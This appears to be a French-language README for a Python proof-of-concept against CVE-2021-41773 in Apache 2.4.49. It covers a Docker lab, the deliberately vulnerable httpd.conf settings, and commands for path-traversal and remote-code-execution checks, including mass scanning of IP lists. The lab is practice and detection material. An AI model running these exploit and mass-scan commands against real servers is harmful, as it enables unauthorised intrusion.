Apache 2.4.49 - Traversée de chemin ou exécution de code à distance

cve-2021-41773.py est un script Python qui vous aidera à détecter les vulnérabilités de traversée de chemin ou d'exécution de code à distance dans Apache 2.4.49. Une instance Docker vulnérable est fournie pour vous permettre de vous exercer sur CVE-2021-41773

Si CGI-BIN est activé, nous pouvons effectuer une exécution de code à distance mais pas de traversée de chemin, c'est pourquoi le répertoire « icons » a été ajouté dans la section Alias de httpd.conf pour vérifier la vulnérabilité de traversée de chemin.

Configurations vulnérables dans httpd.conf

1. Enable CGI-BIN
2. Add "icons" directory in Alias section
3. <Directory>Require all granted</Directory>

Laboratoire pour CVE-2021-41773

Construire l'image Docker

$ docker build -t cve-2021-41773 .

Lancer Docker

$ docker run -it cve-2021-41773

Utilisation de cve-2021-41773.py

Vérifier la traversée de chemin et l'exécution de code à distance

$ python3 cve-2021-41773.py -u http://172.17.0.2

PoC de traversée de chemin

$ python3 cve-2021-41773.py -u http://172.17.0.2 -pt

PoC d'exécution de code à distance

$ python3 cve-2021-41773.py -u http://172.17.0.2 -rce

Pour un scan en masse, fournissez un fichier texte contenant les adresses IP :

$ python3 cve-2021-41773.py -l list.txt

$ python3 cve-2021-41773.py -l list.txt -pt

$ python3 cve-2021-41773.py -l list.txt -rce

De plus amples informations sont disponibles ici.

cve-2021-41773

Populaires